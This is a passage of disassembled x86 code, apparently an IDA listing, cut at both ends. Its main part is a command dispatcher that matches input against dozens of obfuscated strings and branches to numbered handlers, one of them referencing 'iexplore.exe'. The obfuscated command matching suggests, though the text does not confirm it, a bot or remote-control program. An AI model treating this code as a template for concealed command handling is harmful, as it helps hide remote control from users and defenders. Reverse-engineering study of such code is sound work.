lea eax, [ebp+var_100]
push ebx
push eax
lea eax, [ebp+var_1A8]
push eax
call sub_420244
add esp, 18h
cmp [ebp+var_100], 0
mov esi, eax
lea edi, [ebp+var_154]
push 15h
pop ecx
rep movsd
jz short loc_40A930
mov eax, [ebp+var_100]
mov al, [eax]
cmp al, byte_443988
jnz short loc_40A930
push [ebp+arg_10]
inc [ebp+var_100]
lea eax, [ebp+var_5A8]
lea esi, [ebp+var_154]
sub esp, 54h
push 15h
pop ecx
mov edi, esp
push [ebp+arg_8]
rep movsd
push [ebp+arg_4]
push eax
lea eax, [ebp+var_100]
push ebx
push eax
call sub_40A938
add esp, 6Ch
loc_40A930: ; CODE XREF: sub_40A86F+23j
; sub_40A86F+35j ...
xor eax, eax
pop edi
pop esi
inc eax
pop ebx
leave
retn
sub_40A86F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A938 proc near ; CODE XREF: sub_40A86F+B9p
; sub_420399+10Ep
var_6DBB0 = byte ptr -6DBB0h
var_6B4A0 = byte ptr -6B4A0h
var_68D90 = byte ptr -68D90h
var_66680 = byte ptr -66680h
var_63F70 = byte ptr -63F70h
var_61860 = byte ptr -61860h
var_5F150 = byte ptr -5F150h
var_5CA40 = byte ptr -5CA40h
var_5A330 = byte ptr -5A330h
var_57C20 = byte ptr -57C20h
var_55510 = byte ptr -55510h
var_52E00 = byte ptr -52E00h
var_506F0 = byte ptr -506F0h
var_4DFE0 = byte ptr -4DFE0h
var_4B8D0 = byte ptr -4B8D0h
var_491C0 = byte ptr -491C0h
var_46AB0 = byte ptr -46AB0h
var_443A0 = byte ptr -443A0h
var_41C90 = byte ptr -41C90h
var_3F580 = byte ptr -3F580h
var_3CE70 = byte ptr -3CE70h
var_3A760 = byte ptr -3A760h
var_38050 = byte ptr -38050h
var_35940 = byte ptr -35940h
var_33230 = byte ptr -33230h
var_30B20 = byte ptr -30B20h
var_2E410 = byte ptr -2E410h
var_2BD00 = byte ptr -2BD00h
var_295F0 = byte ptr -295F0h
var_26EE0 = byte ptr -26EE0h
var_247D0 = byte ptr -247D0h
var_220C0 = byte ptr -220C0h
var_1F9B0 = byte ptr -1F9B0h
var_1D2A0 = byte ptr -1D2A0h
var_1AB90 = byte ptr -1AB90h
var_18480 = byte ptr -18480h
var_15D70 = byte ptr -15D70h
var_13660 = byte ptr -13660h
var_10F50 = byte ptr -10F50h
var_E840 = byte ptr -0E840h
var_C131 = byte ptr -0C131h
var_C130 = byte ptr -0C130h
var_9A20 = byte ptr -9A20h
var_7310 = byte ptr -7310h
var_7180 = byte ptr -7180h
var_6D80 = byte ptr -6D80h
var_6C7C = dword ptr -6C7Ch
var_6C78 = byte ptr -6C78h
var_6878 = byte ptr -6878h
var_6478 = byte ptr -6478h
var_63F8 = dword ptr -63F8h
var_63F4 = dword ptr -63F4h
var_63F0 = dword ptr -63F0h
var_63E8 = dword ptr -63E8h
var_63E4 = dword ptr -63E4h
var_63E0 = dword ptr -63E0h
var_63DC = dword ptr -63DCh
var_63D8 = dword ptr -63D8h
var_63D4 = byte ptr -63D4h
var_62D0 = byte ptr -62D0h
var_61CC = byte ptr -61CCh
var_60CC = byte ptr -60CCh
var_5FC8 = byte ptr -5FC8h
var_5EC8 = byte ptr -5EC8h
var_5DC4 = byte ptr -5DC4h
var_5CC0 = byte ptr -5CC0h
var_5BC0 = dword ptr -5BC0h
var_5BBC = dword ptr -5BBCh
var_5ABC = byte ptr -5ABCh
var_59BC = byte ptr -59BCh
var_32AC = byte ptr -32ACh
var_31AC = byte ptr -31ACh
var_30AC = byte ptr -30ACh
var_2FAC = byte ptr -2FACh
var_2EA8 = byte ptr -2EA8h
var_2DA4 = byte ptr -2DA4h
var_2D24 = byte ptr -2D24h
var_2C20 = byte ptr -2C20h
var_2B80 = byte ptr -2B80h
var_2A7C = byte ptr -2A7Ch
var_2978 = dword ptr -2978h
var_2968 = dword ptr -2968h
var_28E4 = dword ptr -28E4h
var_28E0 = dword ptr -28E0h
var_285C = byte ptr -285Ch
var_27D8 = dword ptr -27D8h
var_27D4 = dword ptr -27D4h
var_27CC = dword ptr -27CCh
var_27C8 = byte ptr -27C8h
var_2748 = byte ptr -2748h
var_26C8 = byte ptr -26C8h
var_2648 = dword ptr -2648h
var_2644 = dword ptr -2644h
var_2640 = dword ptr -2640h
var_263C = dword ptr -263Ch
var_2638 = dword ptr -2638h
var_25B4 = dword ptr -25B4h
var_257C = dword ptr -257Ch
var_2574 = byte ptr -2574h
var_2470 = byte ptr -2470h
var_236C = byte ptr -236Ch
var_2268 = byte ptr -2268h
var_2230 = byte ptr -2230h
var_21F8 = byte ptr -21F8h
var_21C0 = dword ptr -21C0h
var_21B8 = byte ptr -21B8h
var_2124 = byte ptr -2124h
var_2020 = byte ptr -2020h
var_1F98 = dword ptr -1F98h
var_1F94 = dword ptr -1F94h
var_1F8C = byte ptr -1F8Ch
var_1F54 = byte ptr -1F54h
var_1F1C = dword ptr -1F1Ch
var_1F18 = byte ptr -1F18h
var_1E98 = byte ptr -1E98h
var_1E18 = byte ptr -1E18h
var_1D98 = dword ptr -1D98h
var_1D94 = dword ptr -1D94h
var_1D90 = dword ptr -1D90h
var_1D8C = dword ptr -1D8Ch
var_1D88 = dword ptr -1D88h
var_1D84 = dword ptr -1D84h
var_1D80 = dword ptr -1D80h
var_1D7C = dword ptr -1D7Ch
var_1D78 = byte ptr -1D78h
var_1D44 = dword ptr -1D44h
var_1D3C = byte ptr -1D3Ch
var_1CBC = byte ptr -1CBCh
var_1C34 = dword ptr -1C34h
var_1C2C = dword ptr -1C2Ch
var_1C28 = dword ptr -1C28h
var_1C24 = dword ptr -1C24h
var_1C20 = dword ptr -1C20h
var_1C18 = dword ptr -1C18h
var_1C14 = dword ptr -1C14h
var_1C10 = byte ptr -1C10h
var_1B90 = byte ptr -1B90h
var_1B10 = dword ptr -1B10h
var_1B08 = dword ptr -1B08h
var_1B04 = dword ptr -1B04h
var_1AFC = dword ptr -1AFCh
var_1AF8 = dword ptr -1AF8h
var_1AF4 = dword ptr -1AF4h
var_1AF0 = dword ptr -1AF0h
var_1AEC = byte ptr -1AECh
var_1A6C = dword ptr -1A6Ch
var_1A34 = dword ptr -1A34h
var_1A2C = dword ptr -1A2Ch
var_1A28 = byte ptr -1A28h
var_19A8 = dword ptr -19A8h
var_197C = dword ptr -197Ch
var_1978 = dword ptr -1978h
var_1970 = dword ptr -1970h
var_1968 = dword ptr -1968h
var_1964 = byte ptr -1964h
var_18E4 = byte ptr -18E4h
var_1864 = dword ptr -1864h
var_1860 = dword ptr -1860h
var_185C = dword ptr -185Ch
var_1858 = dword ptr -1858h
var_1854 = dword ptr -1854h
var_1850 = dword ptr -1850h
var_184C = dword ptr -184Ch
var_1848 = byte ptr -1848h
var_17C8 = byte ptr -17C8h
var_1748 = dword ptr -1748h
var_1744 = dword ptr -1744h
var_173C = dword ptr -173Ch
var_1738 = dword ptr -1738h
var_1734 = dword ptr -1734h
var_1730 = dword ptr -1730h
var_172C = dword ptr -172Ch
var_1724 = byte ptr -1724h
var_16A4 = byte ptr -16A4h
var_161C = dword ptr -161Ch
var_1618 = dword ptr -1618h
var_1614 = dword ptr -1614h
var_1610 = dword ptr -1610h
var_160C = dword ptr -160Ch
var_1608 = dword ptr -1608h
var_1600 = dword ptr -1600h
var_15FC = dword ptr -15FCh
var_15F4 = byte ptr -15F4h
var_1574 = byte ptr -1574h
var_14EC = dword ptr -14ECh
var_14E8 = dword ptr -14E8h
var_14E4 = dword ptr -14E4h
var_14E0 = dword ptr -14E0h
var_14DC = dword ptr -14DCh
var_14D8 = dword ptr -14D8h
var_14D0 = dword ptr -14D0h
var_14CC = dword ptr -14CCh
var_14C4 = byte ptr -14C4h
var_1444 = byte ptr -1444h
var_13BC = dword ptr -13BCh
var_13B8 = dword ptr -13B8h
var_13B4 = dword ptr -13B4h
var_13B0 = dword ptr -13B0h
var_13AC = dword ptr -13ACh
var_13A8 = dword ptr -13A8h
var_13A0 = dword ptr -13A0h
var_139C = dword ptr -139Ch
var_1398 = byte ptr -1398h
var_1318 = byte ptr -1318h
var_1298 = dword ptr -1298h
var_1294 = dword ptr -1294h
var_1290 = dword ptr -1290h
var_128C = dword ptr -128Ch
var_1288 = dword ptr -1288h
var_1284 = dword ptr -1284h
var_127C = dword ptr -127Ch
var_1278 = dword ptr -1278h
var_1274 = byte ptr -1274h
var_11F4 = byte ptr -11F4h
var_1174 = dword ptr -1174h
var_1170 = dword ptr -1170h
var_116C = dword ptr -116Ch
var_1168 = dword ptr -1168h
var_1164 = dword ptr -1164h
var_1160 = dword ptr -1160h
var_115C = dword ptr -115Ch
var_1158 = dword ptr -1158h
var_1154 = byte ptr -1154h
var_10D4 = byte ptr -10D4h
var_1054 = dword ptr -1054h
var_1050 = dword ptr -1050h
var_104C = dword ptr -104Ch
var_1048 = dword ptr -1048h
var_1044 = dword ptr -1044h
var_1040 = dword ptr -1040h
var_103C = dword ptr -103Ch
var_1038 = dword ptr -1038h
var_1034 = byte ptr -1034h
var_FB4 = byte ptr -0FB4h
var_F34 = dword ptr -0F34h
var_F30 = dword ptr -0F30h
var_F2C = dword ptr -0F2Ch
var_F28 = dword ptr -0F28h
var_F24 = dword ptr -0F24h
var_F20 = dword ptr -0F20h
var_F1C = dword ptr -0F1Ch
var_F18 = dword ptr -0F18h
var_F14 = byte ptr -0F14h
var_E94 = dword ptr -0E94h
var_E84 = dword ptr -0E84h
var_E80 = dword ptr -0E80h
var_E68 = dword ptr -0E68h
var_E64 = dword ptr -0E64h
var_E5C = dword ptr -0E5Ch
var_E54 = dword ptr -0E54h
var_E50 = byte ptr -0E50h
var_DD0 = dword ptr -0DD0h
var_DC0 = dword ptr -0DC0h
var_DBC = dword ptr -0DBCh
var_DA4 = dword ptr -0DA4h
var_DA0 = dword ptr -0DA0h
var_D98 = dword ptr -0D98h
var_D90 = byte ptr -0D90h
var_D5C = byte ptr -0D5Ch
var_D28 = byte ptr -0D28h
var_CF4 = byte ptr -0CF4h
var_CE4 = dword ptr -0CE4h
var_CE0 = byte ptr -0CE0h
var_C60 = dword ptr -0C60h
var_C58 = dword ptr -0C58h
var_C54 = dword ptr -0C54h
var_C50 = dword ptr -0C50h
var_C4C = dword ptr -0C4Ch
var_C48 = dword ptr -0C48h
var_C44 = byte ptr -0C44h
var_BC4 = dword ptr -0BC4h
var_BC0 = dword ptr -0BC0h
var_BBC = dword ptr -0BBCh
var_BB8 = dword ptr -0BB8h
var_BB4 = dword ptr -0BB4h
var_BB0 = dword ptr -0BB0h
var_BAC = byte ptr -0BACh
var_B2C = dword ptr -0B2Ch
var_B1C = dword ptr -0B1Ch
var_B00 = dword ptr -0B00h
var_AFC = dword ptr -0AFCh
var_AF8 = dword ptr -0AF8h
var_AF4 = dword ptr -0AF4h
var_AEC = dword ptr -0AECh
var_AE8 = byte ptr -0AE8h
var_A68 = dword ptr -0A68h
var_A4C = dword ptr -0A4Ch
var_A3C = dword ptr -0A3Ch
var_A38 = dword ptr -0A38h
var_A30 = dword ptr -0A30h
var_A28 = dword ptr -0A28h
var_A24 = byte ptr -0A24h
var_970 = dword ptr -970h
var_964 = dword ptr -964h
var_95C = byte ptr -95Ch
var_85C = dword ptr -85Ch
var_858 = dword ptr -858h
var_850 = dword ptr -850h
var_848 = dword ptr -848h
var_840 = dword ptr -840h
var_838 = dword ptr -838h
var_834 = dword ptr -834h
var_82C = dword ptr -82Ch
var_828 = byte ptr -828h
var_7A8 = dword ptr -7A8h
var_7A4 = dword ptr -7A4h
var_77C = dword ptr -77Ch
var_778 = dword ptr -778h
var_774 = dword ptr -774h
var_770 = dword ptr -770h
var_768 = byte ptr -768h
var_728 = dword ptr -728h
var_724 = byte ptr -724h
var_6A4 = dword ptr -6A4h
var_6A0 = dword ptr -6A0h
var_69C = dword ptr -69Ch
var_694 = dword ptr -694h
var_690 = dword ptr -690h
var_68C = dword ptr -68Ch
var_678 = dword ptr -678h
var_674 = dword ptr -674h
var_670 = dword ptr -670h
var_66C = dword ptr -66Ch
var_664 = dword ptr -664h
var_660 = byte ptr -660h
var_5E0 = dword ptr -5E0h
var_5DC = dword ptr -5DCh
var_5D8 = dword ptr -5D8h
var_5D0 = dword ptr -5D0h
var_5CC = dword ptr -5CCh
var_5C8 = dword ptr -5C8h
var_5C4 = dword ptr -5C4h
var_5B4 = dword ptr -5B4h
var_5B0 = dword ptr -5B0h
var_5AC = dword ptr -5ACh
var_5A8 = dword ptr -5A8h
var_5A0 = dword ptr -5A0h
var_59C = byte ptr -59Ch
var_51C = dword ptr -51Ch
var_518 = dword ptr -518h
var_4F0 = dword ptr -4F0h
var_4EC = dword ptr -4ECh
var_4E8 = dword ptr -4E8h
var_4E4 = dword ptr -4E4h
var_4DC = dword ptr -4DCh
var_4D8 = byte ptr -4D8h
var_458 = dword ptr -458h
var_454 = dword ptr -454h
var_450 = dword ptr -450h
var_448 = dword ptr -448h
var_444 = dword ptr -444h
var_440 = dword ptr -440h
var_42C = dword ptr -42Ch
var_428 = dword ptr -428h
var_424 = dword ptr -424h
var_420 = dword ptr -420h
var_418 = byte ptr -418h
var_314 = byte ptr -314h
var_304 = byte ptr -304h
var_2F4 = word ptr -2F4h
var_2F2 = word ptr -2F2h
var_2F0 = dword ptr -2F0h
var_2E4 = byte ptr -2E4h
var_2D4 = byte ptr -2D4h
var_2C4 = byte ptr -2C4h
var_244 = dword ptr -244h
var_240 = dword ptr -240h
var_23C = dword ptr -23Ch
var_238 = dword ptr -238h
var_22C = dword ptr -22Ch
var_228 = dword ptr -228h
var_224 = dword ptr -224h
var_220 = dword ptr -220h
var_21C = dword ptr -21Ch
var_218 = dword ptr -218h
var_214 = dword ptr -214h
var_20C = dword ptr -20Ch
var_208 = dword ptr -208h
var_204 = dword ptr -204h
var_200 = dword ptr -200h
var_1F8 = dword ptr -1F8h
var_174 = byte ptr -174h
var_164 = byte ptr -164h
var_154 = byte ptr -154h
var_D4 = dword ptr -0D4h
var_D0 = dword ptr -0D0h
var_CC = dword ptr -0CCh
var_C8 = dword ptr -0C8h
var_BC = dword ptr -0BCh
var_B8 = dword ptr -0B8h
var_B4 = dword ptr -0B4h
var_B0 = dword ptr -0B0h
var_AC = dword ptr -0ACh
var_A8 = dword ptr -0A8h
var_A4 = dword ptr -0A4h
var_9C = dword ptr -9Ch
var_98 = dword ptr -98h
var_94 = dword ptr -94h
var_90 = word ptr -90h
var_8E = dword ptr -8Eh
var_80 = byte ptr -80h
var_7C = dword ptr -7Ch
var_70 = dword ptr -70h
var_6C = byte ptr -6Ch
var_68 = dword ptr -68h
var_5C = dword ptr -5Ch
var_58 = byte ptr -58h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = byte ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = qword ptr -14h
var_C = qword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_2C = dword ptr 34h
arg_30 = dword ptr 38h
arg_34 = dword ptr 3Ch
arg_38 = byte ptr 40h
arg_3C = dword ptr 44h
arg_40 = dword ptr 48h
arg_44 = dword ptr 4Ch
arg_48 = dword ptr 50h
arg_4C = dword ptr 54h
arg_50 = dword ptr 58h
arg_54 = dword ptr 5Ch
arg_58 = dword ptr 60h
arg_5C = dword ptr 64h
arg_60 = dword ptr 68h
arg_64 = dword ptr 6Ch
arg_68 = dword ptr 70h
push ebp
mov ebp, esp
mov eax, 6DBB0h
call sub_429A90
push ebx
mov ebx, [ebp+arg_0]
push esi
xor esi, esi
cmp [ebp+arg_68], esi
push edi
mov edi, dword_437174
jz short loc_40A98B
push dword ptr [ebx]
push offset aDehziSaO0 ; "deHZI/SA//o0"
call edi ; dword_437174
test eax, eax
jz loc_4148CF
push dword ptr [ebx]
push offset aEuior0ay2w7__0 ; "EUIOR0ay2w7."
call edi ; dword_437174
test eax, eax
jz loc_4148CF
push dword ptr [ebx]
push offset aUc6wg1ovwvt1 ; "uc6Wg1OvWVt1"
call edi ; dword_437174
test eax, eax
jz loc_4148CF
loc_40A98B: ; CODE XREF: sub_40A938+1Ej
cmp [ebp+arg_24], esi
jz loc_40AD49
push dword ptr [ebx]
push offset aOb4iqKj5ue_ ; "Ob4iQ/KJ5ue."
call edi ; dword_437174
test eax, eax
jnz short loc_40A9C0
push offset aO_sxv_ze9bk1go ; "O.sxv.ze9bK1GOISY.dO.Vn1"
push 6
loc_40A9A8: ; CODE XREF: sub_40A938+9Cj
; sub_40A938+B2j ...
push esi
mov eax, [ebp+arg_C]
push [ebp+arg_20]
push [ebp+arg_18]
push [ebp+arg_14]
push [ebp+arg_10]
push dword ptr [eax+0Ch]
jmp loc_412BEC
; ---------------------------------------------------------------------------
loc_40A9C0: ; CODE XREF: sub_40A938+67j
push dword ptr [ebx]
push offset aHyomeIovtv_ ; "HyOMe/iovtV."
call edi ; dword_437174
test eax, eax
jnz short loc_40A9D6
push offset aAl_N0kenp20 ; "Al./N0Kenp20"
push 2
jmp short loc_40A9A8
; ---------------------------------------------------------------------------
loc_40A9D6: ; CODE XREF: sub_40A938+93j
push dword ptr [ebx]
push offset a47ff020f_0_ ; "47Ff/020f.0."
call edi ; dword_437174
test eax, eax
jnz short loc_40A9EC
push offset aAl_N0kenp20 ; "Al./N0Kenp20"
push 1
jmp short loc_40A9A8
; ---------------------------------------------------------------------------
loc_40A9EC: ; CODE XREF: sub_40A938+A9j
push dword ptr [ebx]
push offset aG3obv_r6j7h ; "g3obv.r6j7H/"
call edi ; dword_437174
test eax, eax
jnz short loc_40AA02
push offset aLtlec18us5q0 ; "LTLec18US5q0"
push 12h
jmp short loc_40A9A8
; ---------------------------------------------------------------------------
loc_40AA02: ; CODE XREF: sub_40A938+BFj
push dword ptr [ebx]
push offset aM5spx_qp7lx_ ; "M5sPX.Qp7Lx."
call edi ; dword_437174
test eax, eax
jnz short loc_40AA18
push offset a6atss0dycwf_6n ; "6atSs0dyCWF.6N5aw.affEY1"
push 13h
jmp short loc_40A9A8
; ---------------------------------------------------------------------------
loc_40AA18: ; CODE XREF: sub_40A938+D5j
push dword ptr [ebx]
push offset a9ljbh07crkd_ ; "9lJBH07crkD."
call edi ; dword_437174
test eax, eax
jnz short loc_40AA31
push offset a7_pak0onymn7ra ; "7.PaK0OnymN/7Razv/1FefF."
push 14h
jmp loc_40A9A8
; ---------------------------------------------------------------------------
loc_40AA31: ; CODE XREF: sub_40A938+EBj
push dword ptr [ebx]
push offset aVp1weJvqbn_ ; "VP1WE/JVQbn."
call edi ; dword_437174
test eax, eax
jnz short loc_40AA4A
push offset aTy2nt0oi2yk ; "ty2nT0oI2YK/"
push 4
jmp loc_40A9A8
; ---------------------------------------------------------------------------
loc_40AA4A: ; CODE XREF: sub_40A938+104j
push dword ptr [ebx]
push offset aQbwgd0cfxf_ ; "qbwGd0CFxf./"
call edi ; dword_437174
test eax, eax
jz loc_40AD3D
push dword ptr [ebx]
push offset a2mo7g0_b0qj ; "2mo7G0.B0qj/"
call edi ; dword_437174
test eax, eax
jz loc_40AD3D
push dword ptr [ebx]
push offset a9bwj__lz2my0 ; "9bWj..lZ2My0"
call edi ; dword_437174
test eax, eax
jnz short loc_40AA95
push [ebp+arg_20]
mov eax, [ebp+arg_C]
push [ebp+arg_18]
push [ebp+arg_14]
push [ebp+arg_10]
push dword ptr [eax+0Ch]
call sub_403374
jmp loc_4146D5
; ---------------------------------------------------------------------------
loc_40AA95: ; CODE XREF: sub_40A938+13Fj
push dword ptr [ebx]
push offset aH1cmq0wqw5c_ ; "h1cMQ0wQw5C."
call edi ; dword_437174
test eax, eax
jz loc_40AD31
push dword ptr [ebx]
push offset aSxytb1_eejq_ ; "SXYtb1.EEjQ."
call edi ; dword_437174
test eax, eax
jz loc_40AD31
push dword ptr [ebx]
push offset aVb1r0N_arr0 ; "vB1r0/N.Arr0"
call edi ; dword_437174
test eax, eax
jz loc_40AD31
push dword ptr [ebx]
push offset a8im6i__c829_ ; "8Im6i..C829."
call edi ; dword_437174
test eax, eax
jz loc_40AD31
push dword ptr [ebx]
push offset aTiyj208fhvn_ ; "tIYj208FHvN."
call edi ; dword_437174
test eax, eax
jz loc_40AD31
push dword ptr [ebx]
push offset a5ngN0zjh2i1 ; "5nG/N0ZJh2i1"
call edi ; dword_437174
test eax, eax
jz loc_40AD31
push dword ptr [ebx]
push offset aMdf9n0kzpx60 ; "mdf9n0kzPX60"
call edi ; dword_437174
test eax, eax
jz loc_40AD31
push dword ptr [ebx]
push offset aAtfv_jgk0x1 ; "/ATfv.jgK0X1"
call edi ; dword_437174
test eax, eax
jz loc_40AD31
push dword ptr [ebx]
push offset aFu6k10irsc1 ; "fu6k10iRsc/1"
call edi ; dword_437174
test eax, eax
jz loc_40AD31
push dword ptr [ebx]
push offset a_luua_bruje0 ; ".lUua.bruje0"
call edi ; dword_437174
test eax, eax
jnz short loc_40AB47
push offset aMflx2_qu4vy_ ; "mflX2.QU4VY."
push 9
jmp loc_40A9A8
; ---------------------------------------------------------------------------
loc_40AB47: ; CODE XREF: sub_40A938+201j
push dword ptr [ebx]
push offset aUycsBekwp0 ; "/uYcs/BEKWP0"
call edi ; dword_437174
test eax, eax
jnz short loc_40AB60
push offset aXlpyr1anpgm0 ; "xLpyR1aNPGm0"
push 0Ah
jmp loc_40A9A8
; ---------------------------------------------------------------------------
loc_40AB60: ; CODE XREF: sub_40A938+21Aj
push dword ptr [ebx]
push offset aFhzdv1ootfg0 ; "fhzdV1OotFg0"
call edi ; dword_437174
test eax, eax
jnz short loc_40AB79
push offset aWpukb_0uioaOfu ; "WPUkb.0uIoa/OFUur11TNYw0"
push 0Bh
jmp loc_40A9A8
; ---------------------------------------------------------------------------
loc_40AB79: ; CODE XREF: sub_40A938+233j
push dword ptr [ebx]
push offset aUfbss0cbo8c__0 ; "uFbSS0Cbo8C."
call edi ; dword_437174
test eax, eax
jnz short loc_40AB8D
push offset aHuudgYqzdz ; "HuuDG/YQZDz/"
jmp short loc_40AB9F
; ---------------------------------------------------------------------------
loc_40AB8D: ; CODE XREF: sub_40A938+24Cj
push dword ptr [ebx]
push offset aNoazx1alvg0 ; "NoaZx1Alvg/0"
call edi ; dword_437174
test eax, eax
jnz short loc_40ABA6
push offset a6hwiyOatg9_6n5 ; "6HWiy/OAtg9.6N5aw.affEY1"
loc_40AB9F: ; CODE XREF: sub_40A938+253j
push 11h
jmp loc_40A9A8
; ---------------------------------------------------------------------------
loc_40ABA6: ; CODE XREF: sub_40A938+260j
push dword ptr [ebx]
push offset aSud8hRsu8j1 ; "sUd8h/rsu8j1"
call edi ; dword_437174
test eax, eax
jz loc_40AD25
push dword ptr [ebx]
push offset aJ2yyw_j09xc ; "j2yYw.J09XC/"
call edi ; dword_437174
test eax, eax
jz loc_40AD25
push dword ptr [ebx]
push offset aRiocl1kztwo0 ; "rioCl1kzTWO0"
call edi ; dword_437174
test eax, eax
jnz short loc_40ABE1
push offset aWulzr_x7xjb0 ; "WUlZR.X7XjB0"
push 15h
jmp loc_40A9A8
; ---------------------------------------------------------------------------
loc_40ABE1: ; CODE XREF: sub_40A938+29Bj
push dword ptr [ebx]
push offset a7fugu_n0u2m1 ; "7FUgU.N0U2m1"
call edi ; dword_437174
test eax, eax
jnz short loc_40ABF8
push offset aBjatzQyrs11 ; "BjAtz/qyRS11"
jmp loc_40AD1E
; ---------------------------------------------------------------------------
loc_40ABF8: ; CODE XREF: sub_40A938+2B4j
push dword ptr [ebx]
push offset aUbqs_hzpkh1 ; "/uBQS.HZPkh1"
call edi ; dword_437174
test eax, eax
jz loc_40AD19
push dword ptr [ebx]
push offset a6x7zf1eztny_ ; "6x7zf1EztnY."
call edi ; dword_437174
test eax, eax
jz loc_40AD19
push dword ptr [ebx]
push offset aFyflu0ji3xh_ ; "FyFlU0jI3XH."
call edi ; dword_437174
test eax, eax
jz loc_40AD19
push dword ptr [ebx]
push offset a7otcu0fic6v0 ; "7otcU0FiC6V0"
call edi ; dword_437174
test eax, eax
jz loc_40AD19
push dword ptr [ebx]
push offset aXmz20Gjkq ; "xMz20//gJkQ/"
call edi ; dword_437174
test eax, eax
jnz short loc_40AC53
push offset aLcgg60qk2mf0 ; "Lcgg60QK2mf0"
jmp loc_40AD1E
; ---------------------------------------------------------------------------
loc_40AC53: ; CODE XREF: sub_40A938+30Fj
push dword ptr [ebx]
push offset aX_62c_3ldcp ; "X.62C.3LDCP/"
call edi ; dword_437174
test eax, eax
jnz short loc_40AC6A
push offset aXwzwo1pqcgt16n ; "XWzwO1PqcgT16N5aw.affEY1"
jmp loc_40AD1E
; ---------------------------------------------------------------------------
loc_40AC6A: ; CODE XREF: sub_40A938+326j
push dword ptr [ebx]
push offset aImvbw1shwxq0 ; "iMvbW1SHwxQ0"
call edi ; dword_437174
test eax, eax
jnz short loc_40AC81
push offset aAxauo_rlggx0 ; "aXauo.rLGgX0"
jmp loc_40AD1E
; ---------------------------------------------------------------------------
loc_40AC81: ; CODE XREF: sub_40A938+33Dj
push dword ptr [ebx]
push offset aUyfog_dvvny0 ; "UyfOG.DvVnY0"
call edi ; dword_437174
test eax, eax
jz loc_40AD12
push dword ptr [ebx]
push offset aPsern1aagh6_ ; "pSern1AAGh6."
call edi ; dword_437174
test eax, eax
jz short loc_40AD12
push dword ptr [ebx]
push offset aXkg84_cesgs_ ; "XkG84.cESgs."
call edi ; dword_437174
test eax, eax
jz short loc_40AD12
push dword ptr [ebx]
push offset aP06vqBfbmo_ ; "p06vq/BFBMo."
call edi ; dword_437174
test eax, eax
jz short loc_40AD12
push dword ptr [ebx]
push offset aW1w2v121jsp_ ; "w1w2V121JSP."
call edi ; dword_437174
test eax, eax
jnz short loc_40ACCD
push offset aVfeso_qcgdt_ ; "vfEsO.QcgDt."
jmp short loc_40AD1E
; ---------------------------------------------------------------------------
loc_40ACCD: ; CODE XREF: sub_40A938+38Cj
push dword ptr [ebx]
push offset aEm42x_1iszi1 ; "Em42x.1IsZI1"
call edi ; dword_437174
test eax, eax
jz short loc_40ACE7
push dword ptr [ebx]
push offset aKmdie1uwntq ; "KmdIe1UwntQ/"
call edi ; dword_437174
test eax, eax
jnz short loc_40ACF3
loc_40ACE7: ; CODE XREF: sub_40A938+3A0j
push offset aQsoz9_vfvwu0 ; "QSOZ9.vFVWu0"
push 0Eh
jmp loc_40A9A8
; ---------------------------------------------------------------------------
loc_40ACF3: ; CODE XREF: sub_40A938+3ADj
push dword ptr [ebx]
push offset aV6jbh0k4uD_ ; "V6jBH0k4u/d."
call edi ; dword_437174
test eax, eax
jnz short loc_40AD49
push esi
push offset aIexplore_exe ; "iexplore.exe"
call sub_41FD79
pop ecx
pop ecx
jmp loc_4148CF
; ---------------------------------------------------------------------------
loc_40AD12: ; CODE XREF: sub_40A938+354j
; sub_40A938+365j ...
push offset aYhzck13caog0 ; "YhzCK13CaOG0"
jmp short loc_40AD1E
; ---------------------------------------------------------------------------
loc_40AD19: ; CODE XREF: sub_40A938+2CBj
; sub_40A938+2DCj ...
push offset aBvygm_afzkh0 ; "BVYGm.aFzkh0"
loc_40AD1E: ; CODE XREF: sub_40A938+2BBj
; sub_40A938+316j ...
push 0Dh
jmp loc_40A9A8
; ---------------------------------------------------------------------------
loc_40AD25: ; CODE XREF: sub_40A938+279j
; sub_40A938+28Aj
push offset aWhdag1glagf_ ; "WHdAg1glAgf."
push 0Fh
jmp loc_40A9A8
; ---------------------------------------------------------------------------
loc_40AD31: ; CODE XREF: sub_40A938+168j
; sub_40A938+179j ...
push offset aMflx2_qu4vy_ ; "mflX2.QU4VY."
push 8
jmp loc_40A9A8
; ---------------------------------------------------------------------------
loc_40AD3D: ; CODE XREF: sub_40A938+11Dj
; sub_40A938+12Ej
push offset aFfec81uznt81 ; "fFEC81UzNT81"
push 3
jmp loc_40A9A8
; ---------------------------------------------------------------------------
loc_40AD49: ; CODE XREF: sub_40A938+56j
; sub_40A938+3C6j
push offset aDehziSaO0 ; "deHZI/SA//o0"
push dword ptr [ebx]
call edi ; dword_437174
test eax, eax
jnz short loc_40ADA3
cmp [ebp+arg_20], eax
mov edi, offset aTy2nt0oi2yk ; "ty2nT0oI2YK/"
mov esi, offset a5v1zc1efrzg_tc ; "5v1zc1EfRZg.tccap0cH5OH0NHckR.k9Wj.1"
mov ebx, offset aSS_1 ; "%s %s"
jz short loc_40AD8C
cmp [ebp+arg_18], eax
jnz short loc_40AD96
cmp [ebp+arg_14], eax
jnz loc_4148CF
mov eax, [ebp+arg_C]
push esi
push edi
push ebx
push dword ptr [eax+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 14h
loc_40AD8C: ; CODE XREF: sub_40A938+430j
cmp [ebp+arg_18], 0
jz loc_4148CF
loc_40AD96: ; CODE XREF: sub_40A938+435j
push esi
push edi
push ebx
loc_40AD99: ; CODE XREF: sub_40A938+73Fj
mov eax, [ebp+arg_C]
push dword ptr [eax]
jmp loc_4146CD
; ---------------------------------------------------------------------------
loc_40ADA3: ; CODE XREF: sub_40A938+41Cj
push dword ptr [ebx]
push offset aDj9owUmrbd_ ; "dJ9OW/uMRBD."
call edi ; dword_437174
test eax, eax
